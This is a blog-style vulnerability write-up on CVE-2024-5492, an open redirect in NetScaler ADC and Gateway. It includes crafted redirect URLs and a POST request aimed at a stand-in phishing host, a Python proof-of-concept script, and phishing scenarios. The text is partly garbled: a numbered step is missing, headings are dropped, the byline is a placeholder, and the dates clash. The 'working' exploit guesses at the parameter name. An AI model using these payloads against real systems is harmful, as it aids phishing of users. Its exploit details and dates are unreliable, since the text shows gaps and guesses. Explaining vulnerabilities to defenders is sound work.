Open redirects are a classic web security issue but still often underestimated. Recently, CVE-2024-5492 was discovered in popular Citrix products – NetScaler ADC (formerly Citrix ADC) and NetScaler Gateway. This flaw can be abused by anyone on the internet, without logging in, to redirect unsuspecting users to dangerous or malicious websites.

In this article, we’ll break down what CVE-2024-5492 is, why it’s so risky, provide a working code snippet to demonstrate the exploit, link you to the official resources, and explain how to stay safe.

What Is CVE-2024-5492?

Simply put, CVE-2024-5492 is an open redirect vulnerability found in certain versions of NetScaler ADC and NetScaler Gateway. An open redirect flaw occurs when a web application accepts a user-controlled URL and redirects the user to it, without proper validation.

NetScaler ADC and NetScaler Gateway 14.1 before 14.1-13.10

> More details: Citrix Security Bulletin

Here’s a simplified explanation

1. Attacker crafts a malicious link pointing to the NetScaler login or resource page, but with a redirect or similar query parameter set to a site they control.

3. After briefly visiting the legit NetScaler page, the victim is instantly redirected to the attacker’s malicious site.

This makes the phishing attempt look legit to users and can bypass spam or phishing filters that usually block straight links to shady domains.

Example Exploit Code (Proof of Concept)

Below is an example of how an attacker would craft an exploit URL and send it to a victim.

Let’s say the Citrix ADC login page is at

https://adc.example.com/login

The vulnerable parameter is typically named redirect, url, or similar. The attacker creates a link like this:

https://adc.example.com/login?redirect=https://badsite.evil/phish

Or, in case the app uses a POST request

POST /login
Host: adc.example.com
Content-Type: application/x-www-form-urlencoded

username=user&password=pass&redirect=https://badsite.evil/phish

When a victim visits this link, after the login attempt or even just by visiting, they’re immediately forwarded to the attacker’s website.

Exploit Example in Python

Below is a minimal Python script to simulate the open redirect attack.

import requests

target = "https://adc.example.com/login"
malicious_url = "https://badsite.evil/phish"

payload = {"redirect": malicious_url}
response = requests.get(target, params=payload, allow_redirects=False)

if "Location" in response.headers:
    print("Redirect Location:", response.headers["Location"])
else:
    print("No redirect in response.")

This code sends a GET request and prints the redirection header. A vulnerable system will respond with:

HTTP/1.1 302 Found
Location: https://badsite.evil/phish

Attack Scenarios

Phishing:
A user is sent a link that appears to go to their company login, but after visiting, they’re redirected to a login page under attacker control.

Malware Delivery:
Attackers bypass email filters by using your legit login page as a trampoline to bounce users to evil sites.

References and Further Reading

- Citrix Security Bulletin for CVE-2024-5492
- OWASP: Open Redirect

Check Custom Code:

If you have custom landing or login pages, validate all parameters used for redirection. Only allow local (internal) URLs, not full external links.

Educate Users:

Remind colleagues to look out for strange login requests and to check the address bar if redirected unexpectedly.

Final Thoughts

CVE-2024-5492 is a perfect example of how small web application oversights can lead to big security problems. Open redirects are relatively easy to fix and detect, but they open the door to sophisticated phishing campaigns.

If you run any version of NetScaler ADC or NetScaler Gateway, patch as soon as possible and review your own login and portal logic for similar issues.

Stay safe!

*For more technical breakdowns and the latest guide on emerging vulnerabilities, follow this blog. If you have questions or want a full vulnerability scan, feel free to reach out.*


Author: [Your Name]
Date: 2024-06-13


Disclaimer:
This content is for educational purposes only. Always act responsibly and only test security flaws on systems you own or are authorized to test.

Timeline

Published on: 07/10/2024 19:15:11 UTC
Last modified on: 11/21/2024 09:47:47 UTC